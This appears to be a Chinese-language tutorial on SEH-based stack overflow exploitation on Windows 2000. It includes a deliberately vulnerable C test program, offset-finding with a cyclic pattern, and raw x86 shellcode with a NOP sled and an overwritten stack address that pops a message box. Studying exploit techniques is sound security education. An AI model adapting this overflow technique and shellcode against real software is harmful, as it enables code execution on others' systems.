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Stackoverflow + SEH的利用
Stackoverflow + SEH的利用
SEH概述
SEH即异常处理结构体,是windows异常处理中使用的一种数据结构,每个SEH包含两个DWORD指针:SEH链表指针和异常处理函数句柄。
+------------------------+
|DWORD: Next SEH Recoder |
+------------------------+
|DWORD: Exception Handler|
+------------------------+
- SEH 存在于系统栈中,线程初始化时会自动安装一个SEH
- 如果代码中使用了try/except/Asset等,编译器会向当前函数栈中插入一个SEH,从而实现异常处理。
- 栈中的多个SEH会通过链表指针由栈顶串成一个单向链表,最顶端的SEH由TEB 0字节偏移处的指针表示。
- 当异常发生时,操作系统会中断程序,首先从TEB中的0字节偏移处取出距离栈顶最近的SEH,之后使用异常处理函数句柄所指代码处理异常
栈溢出中的利用
测试shellcode溢出位置代码:
#include <windows.h>
#include <string.h>
char shellcode[] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"
DWORD MyExceptionhandler(void)
{
printf("got an exception, press enter to kill process!\n");
getchar();
ExitProcess(1);
}
void test(char *input)
{
char buf[200];
int zero = 0;
//__asm int 3
__try
{
strcpy(buf, input);
zero = 4/zero;
}
__except (MyExceptionhandler()){}
}
int main()
{
test(shellcode);
return 0;
}
产生错误之后,寄存器
根据eip,得到溢出长度为212,如果在没有源码的前提下,那么可以生成一个长度216的字符串,找到具体出错函数位置
进入sub_401020函数查看
根据汇编代码,sub_401020将arg_0数据复制到了ebp+var_E0中,在这里导致栈溢出!只需要找到ebp+var_E0位置即可
在win2000pro下的地址为
0012fe98
,根据0day中以前使用的shellcode,可以构造如下shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x98\xFE\x12\x00";
shellcode开始和结尾使用\x90
是为了shellcode的稳定,之后成功弹窗